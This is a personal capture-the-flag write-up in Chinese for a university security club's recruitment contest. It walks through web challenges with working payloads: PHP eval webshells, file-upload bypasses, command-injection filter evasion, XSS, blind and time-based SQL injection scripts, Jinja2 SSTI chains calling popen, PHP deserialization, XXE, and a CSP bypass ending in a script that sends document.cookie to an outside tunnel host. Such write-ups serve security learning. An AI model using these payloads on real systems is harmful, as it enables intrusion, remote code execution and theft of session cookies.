御林招新赛个人wp


BASIC

布什戈门,你管这叫basic( ——9.26

好吧跟那一帮群魔乱舞比起来和善多了——10.24

ENCODE

四串分别对应四种加密/编码方式

014380f217e124ad3213bcbf3cb794f4 —–MD5加密

%53%65%63%7b%77%65%5f%6d%75%35%74%5f%6b%6e%30%77 —–URL编码

X2MwbW0wbg== —–base64编码

&#95&#101&#110&#99&#48&#100&#49&#110&#103&#115&#125 —–HTML实体编码

(话说好像根本不需要解第一串欸)

CALC-1

小学生都知道6*11=66,但是只能输入一个字符

众所周知,我输入≠服务器接收

BurpSuite拦截抓包修改结果为66,完成

CALC-2

小学生也知道600+60+6=666,但实际上无论输入什么都会弹出“禁止666!”

看源代码可以得知当check返回true时输入的内容才可能被上传

若要改false为true,惟能把网站的文件用本地文件替换(顺便把弹窗代码删了)

替换后输入666,得到flag

【hackbar POST 也可以……】

CALC-3

题目代码实际是让人类在两秒内算出两个随机数的和

写个jio本用正则表达式爬取两个数字并计算和,加入获取到的cookie,然后post就好了,非常简单?

error0:把数字变量当成字符串拼接

error1:不加cookie

error2:忘了接收数据

HTTP

题目要GET,就写脚本给它GET

题目要POST,就写脚本给他POST

由于POST和GET当时没有hackbar不会一起用,转而使用***/?key1=YulinSec

要求从YulinSec://127.0.0.1访问,在字典中加入”referer”:”YulinSec://127.0.0.1”

最后要求是admin,在headers中发现有”Set-Cookie”:”admin=0”,在字典中额外写入”Cookie”:”admin=1”,(记得加逗号),在header里找到flag

302

相对好查找解决方法的一题

做题时看到302重定向到自己一头雾水,于是尝试拦截

使用脚本,把url改成***yulinsec.cn/302.php,加入allow_redirects=False拦截重定向,成功从响应里找到flag

HTTPS

翻看headers找到一串被加密的cookie

丢给CMD5工具www.cmd5.com),得出其类型是Json Web Token

丢给JWT解密工具发现playload里”admin“=“0”

将JWT解码的cookie改为”admin“=“1”后封装进python,找到flag

Local File Inclusion

第一题是真正的送分题。根据提示在phpinfo中改成file=flag.php即可

flag在‘某个文件’里,那么在哪呢

url=http://prob00-20d19db9337f51b8d01170e045f50620.recruit.yulinsec.cn/
?file=php://input 再POST提交<?phpsystem("ls");?>

访问出现的flag_xxx得到flag

input寄了,于是采用?file=data://text/plain,<?php system("ls");?>

访问出现的flag_xxx得到flag

data也寄了,于是用?file=php://filter/convert.base64-encode/resource=flag.php找flag

获得base64编码的flag

根据源码提示,用burpsuite抓包写入I want flag,出现flag

提示了上传和’zip’,并且发现phpinfo页面的url没有.php后缀,随后确认代码会自动’帮‘我们加.php

利用phar函数,提交…………recruit.yulinsec.cn/index.php/?file=phar://./uploads/这是一串名字.zip/hak在index里把马提出来,链接蚁剑找到flag

也可以在🐎里写入ls,看到flag的位置,包含得到flag

话说这个源码里注释了过滤phar的部分……那就是说不用phar也能做?

能用的伪协议都寄了,于是用在源码里提示的session文件

查找得知session文件的名称与sessionid有关,于是自己在cookie里设置PIPSESSID=114514,同时在a里设置要执行的php命令(一句话木马)

在phpinfo里确认路径为/var/lib/php/sessions

提交?a=<?php @eval($_POST['a']);echo * ?> &file=/var/lib/php/sessions/sess_114514,蚁剑链接后找到flag

文件上传

第一题名字叫js绕过,故尝试关闭js后上传一句话木马,成功连接到服务器

第二题提示是.htaccess,于是写一个.htaccess文件 ,让它帮我们把jpg以php解析

怎么会有人保存为了a.htaccess啊(

第三题提示是MIME绕过,复制图片content-type的image/jpeg到php木马中

第四题需要文件头绕过,利用一个正常的png的头,在上传时抓包写入木马,并改后缀为php

第五题上传木马后发现php被删除
采用双写后缀pphphp绕过

第六题类似,但是删完会留一个空格,不能双写,采用大写绕过

第七题源码显示它使用get方法去获得路径
上传jpg格式的一句话木马,在Upload/后接name.php把文件以PHP保存

第八题与第七题类似(甚至长得都差不多),不过改用POST。也是在Upload/接name.php与截断。截断的目的是防止被保存路径里那一坨搞失效

第九题是黑名单缺陷,改成黑名单里没有的.php3即可

第十题的条件竞争,用一个intruder上传大马,另一个intruder访问大马,手动访问小马并蚁剑链接得到flag

第十一题的hint讲的很全面:先传一个gif再下载下来,找到相同的地方插入木马

花样百出の后缀

在名字处填写1.php/.,利用move_uploaded_file不识别/的缺陷绕过

十三题的代码逻辑大致上是先判断mime,再用数组查文件名,然后将数组的首位(一般是文件的名称)与n-1位(一般是后缀)拼接。

在save_name后面接[0]让它成为一个数组从而自定义其中的项,使得count-1返回的项与白名单中的元素不同

最终在包里呈现结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Content-Type: image/png

-----------------------------
Content-Disposition: form-data; name="save_name[0]"

1919
-----------------------------
Content-Disposition: form-data; name="save_name[2]"

php
-----------------------------
Content-Disposition: form-data; name="save_name[114]"

jpg

此时数组里有三个元素:用于通过白名单检测的jpg,位于第’3-1’项的后缀php与文件名1919.最终上传1919.php

RCE

第0题没有过滤,直接ip=1.1.1.1|cat /flag即可

现成试验田(确信)

第一题过滤表:

| & ; $ ''过滤命令分隔符

在burp里抓改包

ip=1.1.1.1%0acat /flag

第二题过滤表:

$ \ (反引号) '' "" - cat more less head tac tail nl od vi ls sort uniq file bash grep rev stings curl decode sh过滤……一坨

find确认flag.php在当前目录下

ip=1.1.1.1|base64 flag.php

第三题过滤表:

$ (反引号)'' "" / [] - cat more less head tac tail od vi ls uniq bash grep rev stings curl decode shbase64

ip=1.1.1.1|echo *发现flag不在当前目录

由于 / 被过滤,选择暴力堆叠 cd.. 回到根目录

ip=1.1.1.1&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&sort flag

是不是太多了

第四题过滤……表?

echo

将ls输出的结果作为输入传给tee,写入到1.txt里

ip=1.1.1.1| ls / | tee 1.txt

包含确认flag的位置后用类似的方法得到flag

XSS

第一题只有URL可能造成弹窗,且源代码中有”find the name“提示

在URL中写入

?name=<script>alert(114)</script>

第二题转换了<>与”

使用不含被过滤符号的语句绕过

(当然要先闭合value)

'onfocus=alert(114) x='

虽然在弹窗触发前就搞到flag了(

第三题与第二题类似,将 ‘ 换为 “ 即可

"onfocus=alert(114) x="

第四题分隔了on与script,同时大小写也无法绕过

查B站大学得知可以自己加一个元素创造alert,从而避免在value中被过滤(?)

"><a href=javascript:alert(114)>Clickme</a x="

第五题过滤删除了script,闭合value并双写绕过即可

"><scrscriptipt>alert(114)</scrscriptipt>

第六题分隔了href,script并在value处实体化<>

实体编码,启动!

java&#115;&#99;&#114;&#105;&#112;&#116;:alert(114)

第七题没有明显的输入位置且<>被过滤
翻看源码并用***.php?t_link=djwcb1&t_history=djwcb2&t_sort=djwcb3尝试更改被隐藏的值

发现t_sort有变化,于是尝试在t_sort中植入按钮t_sort="onclick=alert(114) type="button""

找到flag

SQLI

Narcher sama官方认证的教程欸

union联合注入

提交?id=1 and 1=2可以正常显示,说明是数字型注入

提交?id=4 group by 4报错而2,3可以,说明这个表有三列

提交?id=0 union select 1,114514,1919810发现后两位有回显

提交?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()在information_schema库里的看到叫flag的表

提交?id=0 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='flag'在当前库里找到表flag

提交?id=0 union select 1,flag,3 from flag获取flag

报错注入——extractvalue

提交?id=4 group by 4报错说明表还是有三列

提交?id=0 union select 1,2,extractvalue(114,concat(0x7e,(select database())))看到库名security

提交?id=1 union select 1,2,sthnotexist()也可以看到库名security

后续模板:?id=0 union select 1,2,extractvalue(114,concat(0x7e,(【模板】))

提交?id=0 union select 1,2,extractvalue(114,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))看到叫flag的表

提交?id=0 union select 1,2,extractvalue(114,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag')))找到表flag

提交?id=0 union select 1,2,extractvalue(114,concat(0x7e,(select flag from flag)))获取flag,但是flag太长了看不全,只能看到前32个字符

提交?id=0 union select 1,2,extractvalue(114,concat(0x7e,(select substring(flag,24,30) from flag)))让它显示从24位开始的最多30位(避免漏掉中间部分),拼接得到完整flag

所以floor报错真就得 ?1……01 才能报错,中间还不能有00,哪个人才程序猿想出来的统计方式

提交?id=1 and 1=1?id=1 and 1=2,前者返回OK(真)后者无回显(假)

事已至此,写脚本吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import requests

def fetch_url(url):
try:
response = requests.get(url)
response.raise_for_status() # 检查请求是否成功
except requests.exceptions.RequestException as e:
print(f"请求出错: {e}")

n=0
base_url = "http://prob00-012.recruit.yulinsec.cn/?id=1 and ascii(substr((select flag from flag limit 0,1),"
ascii_dict={}
while n<100:
n=n+1
i=64
min=1
max=128
while i>1:
url = base_url + str(n) + ',1))>=' + str(i)
#print(url)
fetch_url(url)
response = requests.get(url)
if('OK' in response.text):#如果第一次有ok,说明i>=?
i=i+1
fetch_url(url)
resp = requests.get(url)
i=i-1
if(max==i or min==i):
ascii_dict[str(n)]=i
print("gotit",i,'————',n)
break
elif('OK' in resp.text):
min=i
i=(i+max)//2 #如果?>=i-1,还有ok,说明i太小了
else:
ascii_dict[str(n)]=i
print("gotit",i,'————',n) #如果?>=1但是?<i-1,说明?=i
break
else:#没有OK,说明i太大了
max=i
i=(i+min)//2
if(i<=1):
print("真的……一个字符……都没有了…………")
break
print("才",n-1,"个字符就不行了吗,杂鱼杂鱼")

result = {key: chr(value) for key, value in ascii_dict.items()}
values_list = list(result.values())
output_string = ''.join(values_list)
print(output_string)



用此原始脚本找到数据库名字确认当前库security

base_url=http://prob00-012.recruit.yulinsec.cn/?id=1 and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 1,1),找到flag

base_url = "http://prob00-012.recruit.yulinsec.cn/?id=1 and ascii(substr((select flag from flag limit 0,1),"获取flag 下次能不能别写这么长的flag

现在页面没有真假状态区分了,需要用sleep()函数判断代码是否正常执行

提交?id=1 and sleep(3)页面等待约3秒刷新,说明是数字型

改jio本

选择遍历一定不是因为2分法出bug了(

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests

def fetch_url(url):
try:
response = requests.get(url,timeout=0.5)
response.raise_for_status() # 检查请求是否成功
return response
except requests.exceptions.RequestException as e:
#print(f"请求出错: {e}")
return None

n=0
base_url = "http://prob00-013.recruit.yulinsec.cn/?id=1 and if(ascii(substr((select flag from flag limit 0,1),"
ascii_dict={}
while n<100:
n=n+1
i=128
while i>0:
url = base_url + str(n) + ',1))>=' + str(i) + ',sleep(10),sleep(00))'
#print(url)
response = fetch_url(url)
if response is None:#超时代表条件为真,?>=i
print("gotit",i,'————',n)
ascii_dict[str(n)]=i
break
else:
i=i-1
if(i<=0):
print("真的……一个字符……都没有了…………")
break
print("才",n-1,"个字符就不行了吗,杂鱼杂鱼")
result = {key: chr(value) for key, value in ascii_dict.items()}
values_list = list(result.values())
output_string = ''.join(values_list)
print(output_string)


快进到找flag

第五题过滤了union select or and () & | (非末尾的?空格??)--+ %23 %20并且注释符无法绕过

提交?id=1"出现"1"")) LIMIT 0,1报错,确认为字符型

尝试” “) “)) “))),在加上第三个或更多括号时报错信息会出现这些额外的括号,得知闭合方式((”“))

空格利用%09绕过,关键字采用大写绕过

为了把后面的”))注释掉,采用–%09-的方式结尾

提交?id=0"))%09Union%09Select%091,2,flag%09from%09flag--%09-获取flag

提交?id=0 union select 1,group_concat(flag),3 from flag发现flag不在这里

提交id=0 union select 1,2,@@datadir–>/var/lib/mysql/

提交?id=0 union select 1,2,"<?php @eval($_POST['a']);?>" into outfile "/var/lib/mysql/1.php"--+写个🐎

连接成功。

在服务器里发现了一堆马,也就是说理论上不用上传也“能做”?后悔自己的马写的太简单了

感觉好像……过于简单了?

和第一题完全一样????????

(除了要用POST)

首先试图区分字符与数字型但发现没有用

查询得知宽字节绕过需要在 “ ‘ 前加上%df,在GBK中会变成%df%5c,合成一个汉字从而失去\的转义作用

试出闭合方式为””

快进到?id=0%df" union select 1,group_concat(flag),3 from flag--+获取flag

SSTI

前置工作:在globals里找到os_wrap_close为第128位,在0起始就用127表示post提交的数据名为text

No waf

{{''.__class__.__base__.__subclasses__()[127].__init__.__globals__['popen']('cat /flag').read()}}

双大括号

{% print(''.__class__.__base__.__subclasses__()[127].__init__.__globals__["popen"]("cat /flag").read()) %}

中括号

{{''.__class__.__base__.__subclasses__().__getitem__(127).__init__.__globals__.__getitem__('popen')('cat /flag').read()}}

下划线

text={{''|attr(request.args.class)|attr(request.args.base)|attr(request.args.subclasses)()|attr(request.args.getitem)(127)|attr(request.args.init)|attr(request.args.globals)|attr(request.args.getitem)('popen')('cat /flag')|attr('read')()}}——payload

http://prob00-021.recruit.yulinsec.cn/?class=__class__&base=__base__&subclasses=__subclasses__&getitem=__getitem__&init=__init__&globals=__globals__——url

引号

{{().__class__.__base__.__subclasses__()[127].__init__.__globals__[request.args.popen](request.args.cmd).read()}}

小数点

{{()['__class__']['__base__']['__subclasses__']()[127]['__init__']['__globals__']['popen']('cat /flag')['read']()}}——法1

{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(127)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('cat /flag')|attr('read')()}}——-法2

关键词

{{()['__cl'+'ass__']['__ba'+'se__']['__subc'+'lasses__']()[127]['__in'+'it__']['__glob'+'als__']['po'+'pen']('cat /flag')['read']()}}

构造过程中发现不能直接出现斜线……尝试拼接%2f又发现不能直接用%,(一番激烈的STFW与拷打后)用urlencode获取后直接拼接%2f还是不能正常显示。

尝试使用%c47,结果发现构造的47是字符串。

尝试使用set xie=%bc~((ssq)|int),但蹦出来%c47是真的绷不住

改成set xie=bc%((ssq)|int)可以显示/

查询得到:%c是一个格式化字符串,用于将一个整数转换为其对应的ASCII字符。在Jinja2中,%操作符会将右侧的值(ssq,47)传递给左侧的格式化字符串(%c)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
基础:{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(127)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('cat /flag')|attr('read')()}}

获取数字:
{% set two=dict(aa=a)|join|count %}————————————————————————————————————————————————获得2
{% set nine=dict(aaaaaaaaa=a)|join|count %}————————————————————————————————————————获得9
{% set ten=dict(aaaaaaaaaa=a)|join|count %}————————————————————————————————————————获得10
{% set eighteen=nine+nine %}———————————————————————————————————————————————————————获得18
{% set ssq=ten+ten+eighteen+nine %}————————————————————————————————————————————————获得47
{% set zero=nine-nine %}———————————————————————————————————————————————————————————获得0
{% set wrap=ten*ten+nine+eighteen %}
获取魔术方法、符号与命令:
{% set pop=dict(pop=a)|join %}—————————————————————————————————————————————————————获得pop,用于获取空格与_
{% set xhx=(lipsum|string|list)|attr(pop)(eighteen) %}——————————————————————-——————获得_
{% set kg=(lipsum|string|list)|attr(pop)(nine) %}——————————————————————————————————获得空格
{% set bfh=(lipsum|string|urlencode|list)|attr(pop)(zero) %}———————————————————————获得%,用于合成%c构建/
{% set c=dict(c=a)|join %}—————————————————————————————————————————————————————————获得c,用于合成%c构建/
{% set bc=(bfh,c)|join %}——————————————————————————————————————————————————————————合成%c
{% set xie=bc%((ssq)|int) %}———————————————————————————————————————————————————————构建/
{% set cla=dict(class=a)|join %}———————————————————————————————————————————————————(因为一起写会报错QwQ)
{% set class=(xhx,xhx,cla,xhx,xhx)|join %}—————————————————————————————————————————获得__class__
{% set bas=dict(base=a)|join %}
{% set base=(xhx,xhx,bas,xhx,xhx)|join %}——————————————————————————————————————————获得__base__
{% set sub=dict(subclasses=a)|join %}
{% set subclasses=(xhx,xhx,sub,xhx,xhx)|join %}————————————————————————————————————获得__subclasses__
{% set get=dict(getitem=a)|join %}
{% set getitem=(xhx,xhx,get,xhx,xhx)|join %}———————————————————————————————————————获得__getitem__
{% set ini=dict(init=a)|join %}
{% set init=(xhx,xhx,ini,xhx,xhx)|join %}——————————————————————————————————————————获得__init__
{% set glo=dict(globals=a)|join %}
{% set globals=(xhx,xhx,glo,xhx,xhx)|join %}———————————————————————————————————————获得__globals__
{% set popen=dict(popen=a)|join %}—————————————————————————————————————————————————获得popen
{% set cat=dict(cat=a)|join %}
{% set flag=dict(flag=a)|join %}
{% set cmd=(cat,kg,xie,flag)|join %}———————————————————————————————————————————————组合cat /flag
{% set read=dict(read=a)|join %}———————————————————————————————————————————————————获得read()

{{lipsum|attr(class)|attr(base)|attr(subclasses)()|attr(getitem)(wrap)|attr(init)|attr(globals)|attr(getitem)(popen)(cmd)|attr(read)()}}


在原本基础上把class、init与+换掉

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
{% set two=dict(aa=a)|join|count %}
{% set nine=dict(aaaaaaaaa=a)|join|count %}
{% set ten=dict(aaaaaaaaaa=a)|join|count %}
{% set eighteen=nine*two %}
{% set ssq=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count %}
{% set zero=nine-nine %}
{% set wrap=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count %}
不对啊我为什么不直接用数字
{% set pop=dict(pop=a)|join %}
{% set xhx=(lipsum|string|list)|attr(pop)(eighteen) %}
{% set kg=(lipsum|string|list)|attr(pop)(nine) %}
{% set bfh=(lipsum|string|urlencode|list)|attr(pop)(zero) %}
{% set c=dict(c=a)|join %}
{% set bc=(bfh,c)|join %}
{% set xie=bc%((ssq)|int) %}
{% set cla=dict(cla=a)|join %}
{% set ss=dict(ss=a)|join %}
{% set clas=(xhx,xhx,cla,ss,xhx,xhx)|join %}
{% set bas=dict(base=a)|join %}
{% set base=(xhx,xhx,bas,xhx,xhx)|join %}
{% set subcla=dict(subcla=a)|join %}
{% set sses=dict(sses=a)|join %}
{% set sub=(xhx,xhx,subcla,sses,xhx,xhx)|join %}
{% set get=dict(getitem=a)|join %}
{% set getitem=(xhx,xhx,get,xhx,xhx)|join %}
{% set in=dict(in=a)|join %}
{% set it=dict(it=a)|join %}
{% set ini=(xhx,xhx,in,it,xhx,xhx)|join %}
{% set glo=dict(globals=a)|join %}
{% set globals=(xhx,xhx,glo,xhx,xhx)|join %}
{% set popen=dict(popen=a)|join %}
{% set cat=dict(cat=a)|join %}
{% set flag=dict(flag=a)|join %}
{% set cmd=(cat,kg,xie,flag)|join %}
{% set read=dict(read=a)|join %}

{{lipsum|attr(clas)|attr(base)|attr(sub)()|attr(getitem)(wrap)|attr(ini)|attr(globals)|attr(getitem)(popen)(cmd)|attr(read)()}}

只会一题的pwn

flag龙
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
import re

# 设置目标 IP 和端口
host = '101.35.209.40'
port = 11009

p = remote(host,port)
x=0
def receive_data():
received_data = p.recvuntil('$')
data=received_data.decode('utf-8').strip()
print(data)
return data

try:
receive_data()
p.sendline("status".encode('utf-8'))
res = receive_data()
player=re.findall(r'\[\w+\]', res)
print(player)
i=0
p.sendline("1")#防止receive_data()收不到消息卡死
while "恭喜你" not in receive_data(): #攻击形态
p.sendline(str(player[i%3])+" heal "+ str(player[(i+1)%3]))
receive_data()
i+=1
p.sendline(str(player[i%3])+" heal "+ str(player[(i+1)%3]))
receive_data()
i+=1
p.sendline(str(player[i%3])+" heal "+ str(player[(i+1)%3]))
receive_data()
i+=1
p.sendline(str(player[i%3])+" attack")
i+=1

p.interactive() #转人工
except KeyboardInterrupt:
print("连接已关闭")

# 关闭连接
p.close()

逃避可耻但有(?)用,直接无视flag龙打1走3(

PHP反序列化

(现阶段)手搓不比构造代码快(

(下文均为未base64编码版本)

首先找到注入点system,可以利用它执行系统命令

首先通过php弱类型MD5比较:诸如aabC9RqS之类MD5后0e开头的字符串在参与比较时会被当成科学计数法从而变成0

推测魔术方法触发顺序:__destruct() -> ___tostring() -> __get() -> __invoke() -> (command)

推测每一个对象所属的类:被反序列化的对象ser是类F,其user属性为aabC9RqS,notes属性是类T的对象,类T对象sth是类C的对象,类C对象的属性manba是类YULIN的对象,类YULIN的属性cmd是要执行的命令

构造基础:O:1:”F”:2:{s:4:”user”;s:8:”aabC9RqS”;s:5:”notes”;O:1:”T”:1:{s:3:”sth”;O:1:”C”:1:{s:5:”manba”;O:5:”YULIN”:1:{s:3:”cmd”;s:2:”ls”;}}}}

但是发现没有执行预期的ls命令

原来是 byd __wakeup(),虽然反序列化的主题是类F的对象,但是其中包含类YULIN的对象,于是也会触发__wakeup() ……?

搜索wakeup绕过,得知“当反序列化字符串中,表示属性个数的值大于真实属性个数时,会跳过 __wakeup() 函数的执行,是因为 PHP 在反序列化过程中,会忽略掉多出来的属性,而不会对这些属性进行处理和执行”

变更为O:1:”F”:114:{s:4:”user”;s:8:”aabC9RqS”;s:5:”notes”;O:1:”T”:1:{s:3:”sth”;O:1:”C”:1:{s:5:”manba”;O:5:”YULIN”:1:{s:3:”cmd”;s:2:”ls”;}}}}看到flag.php

使用O:1:”F”:114:{s:4:”user”;s:8:”aabC9RqS”;s:5:”notes”;O:1:”T”:1:{s:3:”sth”;O:1:”C”:1:{s:5:”manba”;O:5:”YULIN”:1:{s:3:”cmd”;s:12:”cat /flag.php”;}}}}得到……源码里的flag

backdoor

根据题目直接连接prob00-032.recruit.yulinsec.cn/index.php,连接密码为yulin

在原有的马的基础上添加了一句base64_decode,代表对传入yulin的值额外进行了一次base64解码,直接连yulin连不上。

在post提交的头里赋值yulin为base64编码的@eval($_POST['a']);,让小明的马变成<?php @eval(@eval($_POST['a']););?>,以a连入backdoor

或者改变蚁剑的默认编码器,不让他base64_encode,直接连小明的马进入backdoor

根据题里的“disable_functions”,下载同名的蚁剑扩展,cd到根目录后/getflag得到flag

调查问卷

非常好火狐,使我Priority: u=0,爱来自burpsuite

首先根据exx判断是xxe漏洞,且flag在/app/fl4g2533333333.txt

构造基础:

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///app/fl4g2533333333.txt" >]>

<root>

<feedback>&xxe;</feedback>

</root>

但是上传时发现SYSTEM和PUBLIC均被过滤,于是利用vscode将此文件编码格式与encording改成UTF-16BE,在burp里删除多出来的”þÿ“,提交,得到flag

神经御雷真诀

增多逃逸

上清境共分为六(?)层,分别为:ningshen yinspirit chu_qiao yangshen yuanshen

这六(?)层大多都是8个字符,除了yinspirit是9个(他真我哭),所以逃逸的重点在于如何在不主动传入yinspirit与ningshen的情况下让它搞出yinspirit

注意到”修炼等级”变化的过程是倒序的,也就是会先把chu_qiao变成yangshen,再把ningshen变成yinspirit。如果提交chu_qiaoingshen则会先变成yangsheningshen,再变成yangsheyinspirit,最终增多一个字符

而我们要逃逸的内容是";s:4:"tupo";s:4:"TuPo";},共25个字符,也就是25个chu_qiaoingshen

1
?Mnemonics_Shang=chu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshenchu_qiaoingshen";s:4:"tupo";s:4:"TuPo";}

上半部分成功

下半至少没有逆天过滤了

太清境共分为三层,分别为:dongxu fanxu kongming

首先免费薅一个序列化字符串出来,把xiaocheng改成dacheng

要逃逸的内容:";s:7:"advance";O:7:"Dong_Xu":1:{s:7:"advance";O:6:"Fan_Xu":1:{s:7:"advance";O:9:"Kong_Ming":1:{s:7:"dacheng";s:7:"DaCheng";}}}}

fanxu被过滤,kongming没有用,只能用dongxu

每一个dongxu变成fanxu会多吃掉一个字符

要吃掉的内容";s:7:"advance";s:128:"共计23个字符,也就是23个dongxu

1
2
Mnemonics_Tai1=DongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXuDongXu
&Mnemonics_Tai2=";s:7:"advance";O:7:"Dong_Xu":1:{s:7:"advance";O:6:"Fan_Xu":1:{s:7:"advance";O:9:"Kong_Ming":1:{s:7:"dacheng";s:7:"DaCheng";}}}}

杂鱼杂鱼~

提示说“溢出”,那么哪里可能溢出呢?如果提交通过MD5弱类型比较的数据,其中的username就会被echo,如果我们的名字很长,就会造成php缓冲区溢出,让雌小鬼提前告诉我们flag的位置

那么足够长且能通过MD5比较的字符串哪里找?有一个MD5生成器,可以根据某源文件生成两个不同但是MD5值相同的文件。通过控制源文件的内容,就能一定程度控制这个字符串的长度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import * #也许这就是这一题的url不太一样的原因?
import re
import requests

with open('msg1.bin', 'rb') as f: #生成器生成的文件a
user= f.read()
with open('msg2.bin', 'rb') as f: #和文件b
give= f.read()
print(len(user)+len(give)) #获取两个内容的长度,用于填充content_length。最后要加上username和give_me_flag的长度23

headers='''POST / HTTP/1.1\r
Host: 121.5.35.176:30022\r
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0\r
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r
Accept-Encoding: deflate\r
Content-Type: application/x-www-form-urlencoded\r
Content-Length: 16663\r
Upgrade-Insecure-Requests: 1\r
Connection: keep-alive\r
\r
'''
#\r用于和\n结合

a=remote('121.5.35.176',30022)
a.send(headers.encode('utf-8'))
a.send(b'username='+user+b'&give_me_flag='+give)
a.recvuntil(b'<br>')#
flag=re.findall(r': (.*?)<br>',a.recvuntil(b'<br>').decode('utf-8','replace'))[0] #正则匹配文件名称
print(flag) #输出flag的位置
url='http://121.5.35.176:30022/'+flag
response=requests.get(url)
print(response.text)

包含点啥

是文件包含吗?如是!

使用everything和cpolar配合把本地的文件放到公网,让题目通过pecl下载

payload:?file=/usr/local/lib/php/pearcmd&+install+🐎所在的url

结果连进去后又一次不能直接读flag,旁边还放着一个二进制文件readflag

试图 ./readflag ,结果输出了……一个算式?(真没看懂)

无奈使用神秘小脚本获取flag(果咩纳塞)

点击加入我们的战队

看似一点过滤没有,实则所有的<script>都不能执行。

在响应头里看到SCP:Content-Security-Policy: default-src ‘self’; object-src ‘none’; script-src ‘self’; style-src ‘unsafe-inline’; report-uri /info.php?token=[token]

script-src是’self‘基本堵死了注入点

但是既然他把token写在了响应头里,我们又能控制token的内容……

提交name=%22%3E%3Cscript%3Ealert(1)%3C/script%3E&token=11%0D%0A%0D%0A11 可以执行javascript

原理大概是token会被写入响应头,用于组成“汇报违规行为”的url,但是\r\n\r\n(%0D%0A%0D%0A)把SCP挤到content里面了……就这么水灵灵的绕过了?

既然SCP没了,就可以为所欲为了

用Cpolar Web UI映射一个本地段口上去并用脚本监视:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#感谢FittenCode的友情赞助(bushi
import socket

# 创建一个TCP/IP套接字
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 绑定到127.0.0.1:8080
server_address = ('127.0.0.1', 8080)
sock.bind(server_address)

# 监听连接,允许最大5个连接等待
sock.listen(5)

print("服务器正在运行,监听127.0.0.1:8080...")

while True:
# 等待客户端连接
connection, client_address = sock.accept()
try:
print(f"连接来自: {client_address}")

while True:
data = connection.recv(1024)
if data:
print(f"接收到数据: {data.decode()}")
# 回显收到的数据
connection.sendall(data)
else:
break
finally:
# 关闭连接
connection.close()

比如说映射的url:http://27cf9959.r24.cpolar.top

使用另一段脚本拿到payload:

1
2
3
4
5
6
7
8
9
10
11
import pyperclip
import urllib.parse

A='"><script>new Image().src="http://27cf9959.r24.cpolar.top/?name="+document.cookie;</script>' #name的值
A=urllib.parse.quote(A,safe='/:?=&')#第一次编码
